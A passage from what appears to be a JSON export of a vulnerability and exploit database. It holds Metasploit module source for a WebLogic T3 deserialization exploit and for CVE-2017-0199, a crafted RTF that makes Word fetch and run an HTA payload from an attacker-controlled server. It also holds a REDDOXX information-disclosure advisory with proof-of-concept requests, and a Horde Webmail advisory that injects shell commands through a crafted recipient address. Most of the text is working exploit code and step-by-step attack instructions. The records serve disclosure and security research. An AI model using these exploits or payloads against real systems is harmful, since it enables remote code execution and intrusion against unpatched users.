unicast_srvhost\n unicast_dat << '0000'\n unicast_dat << srvport.to_s(16).rjust(4,'0')\n unicast_dat << '000000004e18654b000000000000000000000000000000'\n unicast_dat << '78'\n\n payload << ((unicast_dat.length >> 1) - 1).to_s(16).rjust(2,'0')\n payload << unicast_dat\n\n payload << 'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461'\n payload << '626c6553657276696365436f6e74657874ddcba8706386f0ba0c000078720029'\n payload << '7765626c6f6769632e726d692e70726f76696465722e42617369635365727669'\n payload << '6365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765'\n payload << '626c6f6769632e726d692e696e7465726e616c2e4d6574686f64446573637269'\n payload << '70746f7212485a828af7f67b0c000078707734002e61757468656e7469636174'\n payload << '65284c7765626c6f6769632e73656375726974792e61636c2e55736572496e66'\n payload << '6f3b290000001b7878fe00ff'\n\n data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')\n data << payload\n\n sock.put([data].pack('H*'))\n sleep(1)\n sock.put([data].pack('H*'))\n sleep(1)\n sock.get_once\n end\n\n def exploit\n @met_sent = []\n gen_resp\n\n connect\n vprint_status('Sending handshake...')\n t3_handshake\n\n build_t3_request_object\n\n start_service\n\n print_status('Sending client object payload...')\n send_payload_objdata\n\n # Need to wait this long to make sure we get a shell back\n sleep(10)\n end\nend\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/misc/weblogic_deserialize.rb"}, {"lastseen": "2019-12-06T03:22:38", "bulletinFamily": "exploit", "description": "This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.\n", "modified": "2017-08-20T22:48:03", "published": "2017-04-15T02:32:48", "id": "MSF:EXPLOIT/WINDOWS/FILEFORMAT/OFFICE_WORD_HTA", "href": "", "type": "metasploit", "title": "Microsoft Office Word Malicious Hta Execution", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FILEFORMAT\n include Msf::Exploit::Remote::HttpServer::HTML\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => \"Microsoft Office Word Malicious Hta Execution\",\n 'Description' => %q{\n This module creates a malicious RTF file that when opened in\n vulnerable versions of Microsoft Word will lead to code execution.\n The flaw exists in how a olelink object can make a http(s) request,\n and execute hta code in response.\n\n This bug was originally seen being exploited in the wild starting\n in Oct 2016. This module was created by reversing a public\n malware sample.\n },\n 'Author' =>\n [\n 'Haifei Li', # vulnerability analysis\n 'ryHanson',\n 'wdormann',\n 'DidierStevens',\n 'vysec',\n 'Nixawk', # module developer\n 'sinn3r' # msf module improvement\n ],\n 'License' => MSF_LICENSE,\n 'References' => [\n ['CVE', '2017-0199'],\n ['URL', 'https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild/'],\n ['URL', 'https://www.fireeye.com/blog/threat-research/2017/04/acknowledgement_ofa.html'],\n ['URL', 'https://www.helpnetsecurity.com/2017/04/10/ms-office-zero-day/'],\n ['URL', 'https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html'],\n ['URL', 'https://www.checkpoint.com/defense/advisories/public/2017/cpai-2017-0251.html'],\n ['URL', 'https://github.com/nccgroup/Cyber-Defence/blob/master/Technical%20Notes/Office%20zero-day%20(April%202017)/2017-04%20Office%20OLE2Link%20zero-day%20v0.4.pdf'],\n ['URL', 'https://blog.nviso.be/2017/04/12/analysis-of-a-cve-2017-0199-malicious-rtf-document/'],\n ['URL', 'https://www.hybrid-analysis.com/sample/ae48d23e39bf4619881b5c4dd2712b8fabd4f8bd6beb0ae167647995ba68100e?environmentId=100'],\n ['URL', 'https://www.mdsec.co.uk/2017/04/exploiting-cve-2017-0199-hta-handler-vulnerability/'],\n ['URL', 'https://www.microsoft.com/en-us/download/details.aspx?id=10725'],\n ['URL', 'https://msdn.microsoft.com/en-us/library/dd942294.aspx'],\n ['URL', 'https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-CFB/[MS-CFB].pdf'],\n ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199']\n ],\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Microsoft Office Word', {} ]\n ],\n 'DefaultOptions' =>\n {\n 'DisablePayloadHandler' => false\n },\n 'DefaultTarget' => 0,\n 'Privileged' => false,\n 'DisclosureDate' => 'Apr 14 2017'))\n\n register_options([\n OptString.new('FILENAME', [ true, 'The file name.', 'msf.doc']),\n OptString.new('URIPATH', [ true, 'The URI to use for the HTA file', 'default.hta'])\n ])\n end\n\n def generate_uri\n uri_maxlength = 112\n\n host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']\n scheme = datastore['SSL'] ? 'https' : 'http'\n\n uri = \"#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}\"\n uri = Rex::Text.hexify(Rex::Text.to_unicode(uri))\n uri.delete!(\"\\n\")\n uri.delete!(\"\\\\x\")\n uri.delete!(\"\\\\\")\n\n padding_length = uri_maxlength * 2 - uri.length\n fail_with(Failure::BadConfig, \"please use a uri < #{uri_maxlength} bytes \") if padding_length < 0\n padding_length.times { uri << \"0\" }\n uri\n end\n\n def create_ole_ministream_data\n # require 'rex/ole'\n # ole = Rex::OLE::Storage.new('cve-2017-0199.bin', Rex::OLE::STGM_READ)\n # ministream = ole.instance_variable_get(:@ministream)\n # ministream_data = ministream.instance_variable_get(:@data)\n\n ministream_data = \"\"\n ministream_data << \"01000002090000000100000000000000\" # 00000000: ................\n ministream_data << \"0000000000000000a4000000e0c9ea79\" # 00000010: ...............y\n ministream_data << \"f9bace118c8200aa004ba90b8c000000\" # 00000020: .........K......\n ministream_data << generate_uri\n ministream_data << \"00000000795881f43b1d7f48af2c825d\" # 000000a0: ....yX..;..H.,.]\n ministream_data << \"c485276300000000a5ab0000ffffffff\" # 000000b0: ..'c............\n ministream_data << \"0609020000000000c000000000000046\" # 000000c0: ...............F\n ministream_data << \"00000000ffffffff0000000000000000\" # 000000d0: ................\n ministream_data << \"906660a637b5d2010000000000000000\" # 000000e0: .f`.7...........\n ministream_data << \"00000000000000000000000000000000\" # 000000f0: ................\n ministream_data << \"100203000d0000000000000000000000\" # 00000100: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000110: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000120: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000130: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000140: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000150: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000160: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000170: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000180: ................\n ministream_data << \"00000000000000000000000000000000\" # 00000190: ................\n ministream_data << \"00000000000000000000000000000000\" # 000001a0: ................\n ministream_data << \"00000000000000000000000000000000\" # 000001b0: ................\n ministream_data << \"00000000000000000000000000000000\" # 000001c0: ................\n ministream_data << \"00000000000000000000000000000000\" # 000001d0: ................\n ministream_data << \"00000000000000000000000000000000\" # 000001e0: ................\n ministream_data << \"00000000000000000000000000000000\" # 000001f0: ................\n ministream_data\n end\n\n def create_rtf_format\n template_path = ::File.join(Msf::Config.data_directory, \"exploits\", \"cve-2017-0199.rtf\")\n template_rtf = ::File.open(template_path, 'rb')\n\n data = template_rtf.read(template_rtf.stat.size)\n data.gsub!('MINISTREAM_DATA', create_ole_ministream_data)\n template_rtf.close\n data\n end\n\n def on_request_uri(cli, req)\n p = regenerate_payload(cli)\n data = Msf::Util::EXE.to_executable_fmt(\n framework,\n ARCH_X86,\n 'win',\n p.encoded,\n 'hta-psh',\n { :arch => ARCH_X86, :platform => 'win' }\n )\n\n send_response(cli, data, 'Content-Type' => 'application/hta')\n end\n\n def exploit\n file_create(create_rtf_format)\n super\n end\nend\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/fileformat/office_word_hta.rb"}], "packetstorm": [{"lastseen": "2019-07-03T07:14:30", "bulletinFamily": "exploit", "description": "", "modified": "2019-07-01T00:00:00", "published": "2019-07-01T00:00:00", "id": "PACKETSTORM:153499", "href": "https://packetstormsecurity.com/files/153499/REDDOXX-Appliance-Information-Disclosure.html", "title": "REDDOXX Appliance Information Disclosure", "type": "packetstorm", "sourceData": "`Advisory: Information Disclosure in REDDOXX Appliance \n \nRedTeam Pentesting discovered an Information Disclosure vulnerability in \nthe REDDOXX appliance software, which allows unauthenticated attackers \nto gain information about the internal network the appliance is part of. \n \n \nDetails \n======= \n \nProduct: REDDOXX Appliance \nAffected Versions: 2032-SP2 up to hotfix 51 \nFixed Versions: 2032-SP2 hotfix 53 \nVulnerability Type: Information Disclosure \nSecurity Risk: low \nVendor URL: https://www.reddoxx.com/ \nVendor Status: patch available \nAdvisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-012 \nAdvisory Status: published \nCVE: GENERIC-MAP-NOMATCH \nCVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH \n \n \nIntroduction \n============ \n \n\"REDDOXX is a leading supplier of solutions for e-mail archiving, \nencrypted and digitally signed e-mail traffic as well as spam \nprotection. Our focus is on technological innovation: taking our cue \nfrom our clients\u2019 requirements our competent and quality-conscious \nemployees strive to offer you the best possible products at all times. \nUsing stringent quality standards and proven processes we keep \ndeveloping our company and products continuously, with the goal of \ncontinuous improvement.\" \n \n(from the vendor's homepage) \n \n \nMore Details \n============ \n \nThrough the ISO provided on the vendor's homepage [1], it was possible \nto analyze the files in a typical REDDOXX appliance [0] installation. It \nwas discovered that the API functions \"CoreService.GetRealmList\" and \n\"CoreService.GetLicense\" are available without requiring authentication. \nThis allows attackers to get information about the configured \nauthentication mechanisms, for example Windows domain controllers if \nActive Directory authentication is in use. Additionally, the REDDOXX \nlicense serial number can be extracted. \n \n \nProof of Concept \n================ \n \nAll functions of this API require a parameter \"id\" with a UUID. For \nthis, the UUID provided by the system itself when using the login form \ncan be used, but any valid UUID will be accepted. The \n\"CoreService.GetRealmList\" API function can be used as follows: \n \n------------------------------------------------------------------------ \nPOST /RdxEngine/json HTTP/1.1 \nHost: reddoxx.example.com \nContent-Type: application/json \n \n{\"id\":\"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\",\"method\":\"CoreService.GetRealmList\",\"params\":{\"Directory\": \"/etc/\"}} \n------------------------------------------------------------------------ \n \nIt provides details about the authentication realms, such as hostname and \nport of the authentication server or the BaseDN for Active Directory/LDAP \nauthentication: \n \n------------------------------------------------------------------------ \n{ \n\"version\": \"1.1\", \n\"id\": \"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\", \n\"result\": { \n\"RealmList\": [ \n{ \n\"AuthServer\": \"\", \n\"AuthType\": \"local\", \n\"BaseDN\": \"\", \n\"DisableSavePassword\": false, \n\"ImportAddresses\": false, \n\"Name\": \"local\", \n\"SetPrimaryAddress\": false, \n\"TcpPort\": \"0\", \n\"UseTLS\": false, \n\"WindowsDomain\": \"\" \n}, \n{ \n\"AuthServer\": \"dc1.example.com\", \n\"AuthType\": \"Windows 2003\", \n\"BaseDN\": \"DC=example,DC=com\", \n\"DisableSavePassword\": false, \n\"ImportAddresses\": true, \n\"Name\": \"example.com\", \n\"SetPrimaryAddress\": true, \n\"TcpPort\": \"389\", \n\"UseTLS\": false, \n\"WindowsDomain\": \"example.com\" \n}, \n{ \n\"AuthServer\": \"dc2.example.com\", \n\"AuthType\": \"Windows 2003\", \n\"BaseDN\": \"DC=example,DC=net\", \n\"DisableSavePassword\": false, \n\"ImportAddresses\": true, \n\"Name\": \"example.com\", \n\"SetPrimaryAddress\": true, \n\"TcpPort\": \"389\", \n\"UseTLS\": false, \n\"WindowsDomain\": \"example.com\" \n} \n] \n} \n} \n------------------------------------------------------------------------ \n \n \nThe \"CoreService.GetLicense\" API call can be used as follows: \n \n------------------------------------------------------------------------ \nPOST /RdxEngine/json HTTP/1.1 \nHost: reddoxx.example.com \nContent-Type: application/json \n \n{\"id\":\"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\",\"method\":\"CoreService.GetLicense\",\"params\":{}} \n------------------------------------------------------------------------ \n \nIt provides details about the used license (serial number replaced by \nrandom value for demonstration purposes): \n \n------------------------------------------------------------------------ \n{ \n\"version\": \"1.1\", \n\"id\": \"{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\", \n\"result\": { \n\"License\": { \n\"Activated\": true, \n\"ActivationDate\": \"2000-01-01T12:34:56\", \n\"ApplianceID\": \"1234\", \n\"ArchiveLicenses\": \"10000\", \n\"Cluster\": false, \n\"Customer\": \"Example Ltd.\", \n\"HasFullMaildepotLicense\": true, \n\"HasFullSpamfinderLicense\": true, \n\"HasMaildepotPremiumLicense\": true, \n\"MailDepotImporterLicense\": false, \n\"MailSealerLicenses\": \"10000\", \n\"MailSealerSignatureLicense\": false, \n\"MsxAgentLicenses\": \"10000\", \n\"SerialNumber\": \"AIP1-EECA-EUKI-E6AH-OOGH-EI5Y\", \n\"ServiceDate\": \"1899-12-30T00:00:00\", \n\"SpamfinderLicenses\": \"10000\", \n\"SubscriptionDate\": \"2020-01-30T12:34:56\", \n\"Valid\": true, \n\"VirusScan\": true \n} \n} \n} \n------------------------------------------------------------------------ \n \n \nWorkaround \n========== \n \nNone \n \n \nFix \n=== \n \nInstall the latest hotfixes for the appliance, see [2]. \n \n \nSecurity Risk \n============= \n \nThe risk of the information disclosure through the two API calls is \nestimated to be low. Although the API calls should not be available \nwithout authentication, \"CoreService.GetRealmList\" will only return \nrudimentary information about the authentication realms and \n\"CoreService.GetLicense\" is mostly a problem for the vendor, as the \nserial number could be misused to set up a licensed application without \npaying. \n \n \nTimeline \n======== \n \n2019-05-21 Vulnerability identified \n2019-05-24 Customer approved disclosure to vendor \n2019-06-04 Vendor notified \n2019-06-05 Vendor acknowledges the vulnerability \n2019-06-17 Vendor released hotfix \n2019-06-24 Customer approved release \n2019-07-01 Advisory released \n \n \nReferences \n========== \n \n[0] https://www.reddoxx.com/en/ \n[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads \n(Requires login) \n[2] https://appliance.docs.reddoxx.com/de/release-notes/release-notes-version-2032-service-pack-2-2-2-1242 \n \n \nRedTeam Pentesting GmbH \n======================= \n \nRedTeam Pentesting offers individual penetration tests performed by a \nteam of specialised IT-security experts. Hereby, security weaknesses in \ncompany networks or products are uncovered and can be fixed immediately. \n \nAs there are only few experts in this field, RedTeam Pentesting wants to \nshare its knowledge and enhance the public knowledge with research in \nsecurity-related areas. The results are made available as public \nsecurity advisories. \n \nMore information about RedTeam Pentesting can be found at: \nhttps://www.redteam-pentesting.de/ \n \n \nWorking at RedTeam Pentesting \n============================= \n \nRedTeam Pentesting is looking for penetration testers to join our team \nin Aachen, Germany. If you are interested please visit: \nhttps://www.redteam-pentesting.de/jobs/ \n \n \n-- \nRedTeam Pentesting GmbH Tel.: +49 241 510081-0 \nDennewartstr. 25-27 Fax : +49 241 510081-99 \n52068 Aachen https://www.redteam-pentesting.de \nGermany Registergericht: Aachen HRB 14004 \nGesch\u00e4ftsf\u00fchrer: Patrick Hof, Jens Liebchen \n`\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://packetstormsecurity.com/files/download/153499/rt-sa-2019-012.txt"}, {"lastseen": "2017-04-12T17:24:34", "bulletinFamily": "exploit", "description": "", "modified": "2017-04-12T00:00:00", "published": "2017-04-12T00:00:00", "href": "https://packetstormsecurity.com/files/142106/Horde-Groupware-Webmail-3-4-5-Code-Execution.html", "id": "PACKETSTORM:142106", "type": "packetstorm", "title": "Horde Groupware Webmail 3 / 4 / 5 Code Execution", "sourceData": "`Source: https://blogs.securiteam.com/index.php/archives/3107 \n \nVulnerabilities Summary \nThe following advisory describes two (2) vulnerabilities found in \nHorde Groupware Webmail. \n \nHorde Groupware Webmail Edition is a free, enterprise ready, browser \nbased communication suite. Users can read, send and organize email \nmessages and manage and share calendars, contacts, tasks, notes, \nfiles, and bookmarks with the standards compliant components from the \nHorde Project. Horde Groupware Webmail Edition bundles the separately \navailable applications IMP, Ingo, Kronolith, Turba, Nag, Mnemo, \nGollem, and Trean. \n \nIt can be extended with any of the released Horde applications or the \napplications that are still in development, like a bookmark manager or \na file manager. \n \nAffected versions: Horde 5, 4 and 3 \n \nThe vulnerabilities found in Horde Groupware Webmail are: \n \nAuthentication Remote Code Execution \nUnauthentication Remote Code Execution \n \nCredit \nAn independent security researcher has reported this vulnerability to \nBeyond Securityas SecuriTeam Secure Disclosure program. \n \nVendor response \nHorde has released a patch to address the vulnerabilities. \n \nFor more information: \nhttps://lists.horde.org/archives/horde/Week-of-Mon-20170403/056767.html \n \nVulnerabilities Details \n \nAuthentication Remote Code Execution \nHorde Webmail contains a vulnerability that allows a remote attacker \nto execute arbitrary code with the privileges of the user who runs the \nweb server. \n \nFor successful attack GnuPG feature should be enabled on the target \nserver (path to gpg binary should be defined in $conf[gnupg][path] \nsetting). \n \nVulnerable code: encryptMessage() function of GPG feature. \n \nPath: /Horde/Crypt/Pgp/Backend/Binary.php: \n \n/* 416 */ public function encryptMessage($text, $params) \n/* 417 */ { \n/* a| */ \n/* 435 */ foreach (array_keys($params['recips']) as $val) { \n/* 436 */ $cmdline[] = '--recipient ' . $val; \n#! vulnerable code \n/* a| */ \n/* 444 */ /* Encrypt the document. */ \n/* 445 */ $result = $this->_callGpg( \n/* 446 */ $cmdline, \n/* 447 */ 'w', \n/* 448 */ empty($params['symmetric']) ? null : $params['passphrase'], \n/* 449 */ true, \n/* 450 */ true \n/* 451 */ ); \n \n$params[arecipsa] will be added to $cmdline array and passed to _callGpg(): \n \nPath: /Horde/Crypt/Pgp/Backend/Binary.php: \n \n/* 642 */ public function _callGpg( \n/* 643 */ $options, $mode, $input = array(), $output = false, $stderr = false, \n/* 644 */ $parseable = false, $verbose = false \n/* 645 */ ) \n/* 646 */ { \n/* a| */ \n/* 675 */ $cmdline = implode(' ', array_merge($this->_gnupg, $options)); \n/* a| */ \n/* 681 */ if ($mode == 'w') { \n/* 682 */ if ($fp = popen($cmdline, 'w')) { #! \nvulnerable code \n/* a| */ \n \nWe can see that our recipients (addresses) will be in command line \nthat is going to be executed. encryptMessage() function can be reached \nby various API, requests. For example it will be called when user try \nto send encrypted message. \n \nOur request for encryption and sending our message will be processed \nby buildAndSendMessage() method: \nPath: /imp/lib/Compose.php \n \n/* 733 */ public function buildAndSendMessage( \n/* 734 */ $body, $header, IMP_Prefs_Identity $identity, array $opts = array() \n/* 735 */ ) \n/* 736 */ { \n/* 737 */ global $conf, $injector, $notification, $prefs, $registry, $session; \n/* 738 */ \n/* 739 */ /* We need at least one recipient & RFC 2822 requires that no 8-bit \n/* 740 */ * characters can be in the address fields. */ \n/* 741 */ $recip = $this->recipientList($header); \n/* ... */ \n/* 793 */ /* Must encrypt & send the message one recipient at a time. */ \n/* 794 */ if ($prefs->getValue('use_smime') && \n/* 795 */ in_array($encrypt, array(IMP_Crypt_Smime::ENCRYPT, \nIMP_Crypt_Smime::SIGNENC))) { \n/* ... */ \n/* 807 */ } else { \n/* 808 */ /* Can send in clear-text all at once, or PGP can encrypt \n/* 809 */ * multiple addresses in the same message. */ \n/* 810 */ $msg_options['from'] = $from; \n/* 811 */ $save_msg = $this->_createMimeMessage($recip['list'], $body, \n$msg_options); #! vulnerable code \n \nIn line 741 it tries to create recipient list: Horde parsers values of \natoa, acca, abcca headers and creates list of Rfc822 addresses. In \ngeneral there are restrictions for characters in addresses but if we \nwill use the next format: \n \ndisplay-name <\"somemailbox\"@somedomain.com> \n \nsomemailbox will be parsed by _rfc822ParseQuotedString() method: \n \nPath: /Horde/Mail/Rfc822.php: \n \n/* 557 */ protected function _rfc822ParseQuotedString(&$str) \n/* 558 */ { \n/* 559 */ if ($this->_curr(true) != '\"') { \n/* 560 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.'); \n/* 561 */ } \n/* 563 */ while (($chr = $this->_curr(true)) !== false) { \n/* 564 */ switch ($chr) { \n/* 565 */ case '\"': \n/* 566 */ $this->_rfc822SkipLwsp(); \n/* 567 */ return; \n/* 569 */ case \"\\n\": \n/* 570 */ /* Folding whitespace, remove the (CR)LF. */ \n/* 571 */ if (substr($str, -1) == \"\\r\") { \n/* 572 */ $str = substr($str, 0, -1); \n/* 573 */ } \n/* 574 */ continue; \n/* 576 */ case '\\\\': \n/* 577 */ if (($chr = $this->_curr(true)) === false) { \n/* 578 */ break 2; \n/* 579 */ } \n/* 580 */ break; \n/* 581 */ } \n/* 583 */ $str .= $chr; \n/* 584 */ } \n/* 586 */ /* Missing trailing '\"', or partial quoted character. */ \n/* 587 */ throw new Horde_Mail_Exception('Error when parsing a quoted string.'); \n/* 588 */ } \n \nThere are only a few limitations: \n \nwe cannot use a \n\\n will be deleted \nwe cannot use \\ at the end of our mailbox \n \nAfter creation of recipient list buildAndSendMessage() will call \n_createMimeMessage(): \n \nPath: /imp/lib/Compose.php \n \n/* 1446 */ protected function _createMimeMessage( \n/* 1447 */ Horde_Mail_Rfc822_List $to, $body, array $options = array() \n/* 1448 */ ) \n/* 1449 */ { \n/* 1450 */ global $conf, $injector, $prefs, $registry; \n/* ... */ \n/* 1691 */ /* Set up the base message now. */ \n/* 1692 */ $encrypt = empty($options['encrypt']) \n/* 1693 */ ? IMP::ENCRYPT_NONE \n/* 1694 */ : $options['encrypt']; \n/* 1695 */ if ($prefs->getValue('use_pgp') && \n/* 1696 */ !empty($conf['gnupg']['path']) && \n/* 1697 */ in_array($encrypt, array(IMP_Crypt_Pgp::ENCRYPT, \nIMP_Crypt_Pgp::SIGN, IMP_Crypt_Pgp::SIGNENC, \nIMP_Crypt_Pgp::SYM_ENCRYPT, IMP_Crypt_Pgp::SYM_SIGNENC))) { \n/* 1698 */ $imp_pgp = $injector->getInstance('IMP_Crypt_Pgp'); \n/* ... */ \n/* 1727 */ /* Do the encryption/signing requested. */ \n/* 1728 */ try { \n/* 1729 */ switch ($encrypt) { \n/* ... */ \n/* 1735 */ case IMP_Crypt_Pgp::ENCRYPT: \n/* 1736 */ case IMP_Crypt_Pgp::SYM_ENCRYPT: \n/* 1737 */ $to_list = clone $to; \n/* 1738 */ if (count($options['from'])) { \n/* 1739 */ $to_list->add($options['from']); \n/* 1740 */ } \n/* 1741 */ $base = $imp_pgp->IMPencryptMIMEPart($base, $to_list, \n($encrypt == IMP_Crypt_Pgp::SYM_ENCRYPT) ? \n$symmetric_passphrase : null); \n/* 1742 */ break; \n \nHere we can see validation (1695-1696 lines) that: \n \nCurrent user has enabled ause_pgpa feature in his preferences (it is \nnot a problem as an attacker can edit his own preferences) \n$conf[agnupga][apatha] is not empty. This value can be edited only by \nadmin. So if we donat have value here our server is not vulnerable. \nBut if admin wants to allow users to use GPG feature he/she needs to \ndefine value for this config. \n \nAlso we can see that in lines 1737-1739 to our recipient list will be \nadded address afroma as well. \n \nPath: /imp/lib/Crypt/Pgp.php \n \n/* 584 */ public function impEncryptMimePart($mime_part, \n/* 585 */ Horde_Mail_Rfc822_List $addresses, \n/* 586 */ $symmetric = null) \n/* 587 */ { \n/* 588 */ return $this->encryptMimePart($mime_part, \n$this->_encryptParameters($addresses, $symmetric)); \n/* 589 */ } \n \nBefore encryptMimePart() call Horde uses _encryptParameters() \n \nPath: /imp/lib/Crypt/Pgp.php \n \n/* 536 */ protected function _encryptParameters(Horde_Mail_Rfc822_List \n$addresses, \n/* 537 */ $symmetric) \n/* 538 */ { \n/* ... */ \n/* 546 */ $addr_list = array(); \n/* 548 */ foreach ($addresses as $val) { \n/* 549 */ /* Get the public key for the address. */ \n/* 550 */ $bare_addr = $val->bare_address; \n/* 551 */ $addr_list[$bare_addr] = $this->getPublicKey($bare_addr); \n/* 552 */ } \n/* 554 */ return array('recips' => $addr_list); \n/* 555 */ } \n \nHorde will add to each address its Public Key. There a few source of \nPublic Keys: \n \nAddressBook (we will use this source) \nServers with Public Keys \n \nNote that Horde should be able to find Public Key for our aFroma \naddress as well. \nWe can generate pair of PGP keys (https is required) or we can use the \nsame trick with AddressBook (we can create some contact, add any valid \nPublic PGP key, and add this address to default identity) \nencryptMimePart() will call encrypt() method \n \nPath: /Horde/Crypt/Pgp.php \n \n/* 773 */ public function encryptMIMEPart($mime_part, $params = array()) \n/* 774 */ { \n/* 775 */ $params = array_merge($params, array('type' => 'message')); \n/* a| */ \n/* 781 */ $message_encrypt = $this->encrypt($signenc_body, $params); \n \nIt will call encryptMessage() \n \nPath: /Horde/Crypt/Pgp.php \n \n/* 554 */ public function encrypt($text, $params = array()) \n/* 555 */ { \n/* 556 */ switch (isset($params['type']) ? $params['type'] : false) { \n/* 557 */ case 'message': \n/* 558 */ $error = Horde_Crypt_Translation::t( \n/* 559 */ \"Could not PGP encrypt message.\" \n/* 560 */ ); \n/* 561 */ $func = 'encryptMessage'; \n/* 562 */ break; \n/* ... */ \n/* 586 */ $this->_initDrivers(); \n/* 587 */ \n/* 588 */ foreach ($this->_backends as $val) { \n/* 589 */ try { \n/* 590 */ return $val->$func($text, $params); \n/* 591 */ } catch (Horde_Crypt_Exception $e) {} \n/* 592 */ } \n \nIn conclusions: \nIf Horde server has enabled aGnuPG featurea any unprivileged user is \nable to execute arbitrary code. \n \nEnable GPG feature for attacker account (aEnable PGP functionality?a \ncheckbox on aPGP Configure PGP encryption support.a section in \nPrefferences->Mail page ) \nCreate some contact in the attacker AddressBook, add any valid Public \nPGP key, and add this address to default identity \nCreate another contact in the attacker AddressBook, add any valid \nPublic PGP key, and change email address to some$(desired command to \nexecute) contact@somedomain.com \nCreate a new message to some$(desired command to execute) contact@somedomain.com \nChoose Encryption:PGP Encrypt Message option \nClick Send button \n \nAnd desired command will be executed on the Horde server. \n \nProof of Concept a Authenticated Code Execution \n \nFor Proof of Concept we can use preconfigured image of Horde server \nfrom Bitnami (Bitnami a aEasy to use cloud images, containers, and VMs \nthat work on any platforma): \n \nhttps://downloads.bitnami.com/files/stacks/horde/5.2.17-0/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova \n \nStep 1 a Login as admin (by default user:bitnami) and go to \nAdministration -> Configuration and choose Horde (horde). Open GnuPG \ntab, enter /usr/bin/gpg into $conf[gnupg][path] setting and click \naGenerate Horde Configurationa: \n \nNow we have enabled GPG feature on our server and we can login as \nregular user and try to execute desired commands. But Bitnami image \ndoes not have installed and configured Mail server so we need to use \nexternal one or install it on local machine. \n \nWe will use gmail account (to be able to login to it from Horde I had \nto change Gmail account setting Allow less secure apps: ON). \n \nTo use external Mail server we need to change the next setting: \naAdministrator Panela -> aConfigurationa -> aHordea -> \naAuthenticationa \n \nStep 2 a Configure Horde web-mail authentication ($conf[auth][driver]) \nto aLet a Horde application handle authenticationa and click aGenerate \nHorde Configurationa: \n \nStep 3 a logout and login with your gmail account. Currently we are \nlogin as regular user so we can try to execute desired commands: \n \nGo to Preferences -> Mail and click on PGP link. Check Enable PGP \nfunctionality? checkbox and click aSavea: \n \nCreate afroma contact in our AddressBook: aAddress Book -> New Contact \n-> in Address Book of a|a \n \nPersonal tab a Last Name: mymailboxwithPGPkey \nCommunication tab a Email: mymailboxwihPGP@any.com \nOther tab a PGP Public Key: any valid Public PGP key. \n \nFor example: \n \n-----BEGIN PGP PUBLIC KEY BLOCK----- \nVersion: SKS 1.1.6 \nComment: Hostname: keyserver.ubuntu.com \nmQGiBDk89iARBADhB7AyHQ/ZBlZjRRp1/911XaXGGmq1LDLTUTCAbJyQ1TzKDdetfT9Szk01 \nYPdAnovgzxTS89svuVHP/BiqLqhJMl2FfMLcJX+va+DujGuLDCZDHi+4czc33N3z8ArpxzPQ \n5bfALrpNMJi6v2gZkDQAjMoeKrNEfXLCXQbTYWCuhwCgnZZCThya4xhmlLCTkwsQdMjFoj8D \n/iOIP/6W27opMJgZqTHcisFPF6Kqyxe6GAftJo6ZtLEG26k2Qn3O0pghDz2Ql4aDVki3ms82 \nz77raSqbZVJzAFPzYoIKuc3JOoxxE+SelzSzj4LuQRXYKqZzT8/qYBCLg9cmhdm8PnwE9fd/ \nPOGnNQFMk0i2xSz0FMr9R1emIKNsA/454RHIZ39ebvZzVULS1pSo6cI7DAJFQ3ejJqEEdAbr \n72CW3eFUAdF+4bJQU/V69Nr+CmziBbyqKP6HfiUH9u8NLrYuK6XWXLVVSCBPsOxHxhw48hch \nzVxJZ5Cyo/tMSOY/CxvLL/vMoT2+kQX1SCsWALosKJyOGbpCJmPasOLKdrQnQWxpY2UgKFJl \nY2h0c2Fud8OkbHRpbikgPGFsaWNlQGN5Yi5vcmc+iEYEEBECAAYFAjk+IEgACgkQzDSD4hsI \nfQSaWQCgiDvvnRxa8XFOKy/NI7CKL5X4D28An2k9Cbh+dosXvB5zGCuQiAkLiQ+CiEYEEREC \nAAYFAkKTPFcACgkQCY+3LE2/Ce4l+gCdFSHqp5HQCMKSOkLodepoG0FiQuwAnR2nioCQ3A5k 